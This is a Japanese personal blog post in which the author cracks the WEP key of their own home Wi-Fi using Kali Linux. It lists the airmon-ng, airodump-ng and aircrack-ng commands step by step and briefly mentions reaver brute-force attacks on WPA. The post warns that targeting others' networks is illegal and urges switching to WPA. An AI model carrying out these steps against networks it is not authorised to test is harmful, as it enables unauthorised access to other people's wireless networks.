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皆さんは ペネトレーションテスト という言葉ご存知でしょうか?
要するに ”必要悪”
とでも言いましょうか・・
IT用語辞典によりますと
ペネトレーションテストとは、コンピュータやネットワークのセキュリティ上の弱点を発見するテスト手法の一つで、システムを実際に攻撃して 侵入 を試みる手法。
だそうです。
さて、私がこの言葉を知ったのが
wi-fiのただ乗りで逮捕者が出たとかで
「ほぅ、そんな事が出来るのか」と
実際自宅のWi-Fiの暗号化キーをいとも簡単に解析できたので
日記がてら、覚えとして記録
使うのはkaliLinux

↑
デスクトップ画面
何とも怪しい( ̄m ̄〃)ぷぷっ!
これの前身であるBackTruckでもWi-Fiキーの解析とかできたんですねぇ
ペネトレーションテスト前提に作られたディストリビューション
怪しげなソフトがてんこ盛りですわw
以下手順(wepのみ)
1 iwconfig (無線lanカードの状態確認)
2 airmon-ng start wlan0
3 kill 1232 (3~5はairmon-ngをスタートすると、これらを止めた方が吉と言ってくる)
4 kill 1359
5 kill1621 (ので一応killしておく)
7 iwconfig(無線lanカードの状態確認 wlan0monが出来ているか)
8 iwconfig wlan0mon mode monitor (wlan0monをモニターmodeに)
9 iwconfig (ここでwlan0monがmonitorになっていなければ無線lanカードが対応していないので諦める)
10 airodump-ng wlan0mon (周辺の無線APを拾ってくる)
間違ってもよそ様のお宅の無線APをターゲットにしないように・・犯罪になりますよ
ここでターゲットになるAPが出てきたら
ctrl+cで端末の実行を止めてbssidとチャンネルを記録
ここでデスクトップにキャプチャファイルが出来る
このファイルは送受信のデータを集めるのでターゲットがwepにて送受信している必要がある
データが集まるまで待たなければいけない。
今回はRead 112547 packetsで始めて見た
データが集まったら新たに端末を開き
aircrack-ng '/root/Desktop/-01.cap'
先程デスクトップに作ったファイルを指定
後は勝手にwepキーを解析してくれる
成功すれば KEY FOUND! (ASCII: ~ )とキーを表示してくれる・・はず

↑
キー出ました
もう簡単すぎてビックリです、数秒で解析終わりましたとさ。
ちなみに私は情弱でしたので納戸PCをwep接続しておりました (´;ω;`)
誰かにタダ乗りされてないか確認してみないといけないなぁ。。
これを機に全てwpa接続に変更しました
が・・wpa接続も解析できます。
ただ現実的ではありません。
我が家の無線lanルーター、NECのWARPSTARなんですが
アタックかけるとロックします。
reaverでのブルートフォース攻撃や辞書攻撃も莫大な時間が掛かると思われます。
暗号化キーは0~9とA~Zで13桁の組み合わせ、36の13乗なのかな?
けどまぁ。。イタチごっこですわなぁ
そのうち おぉ・・
って言うソフトが開発されるんでしょう・・
お宅のWi-Fi接続はwpaですか?
wep接続はダメですよ~
では。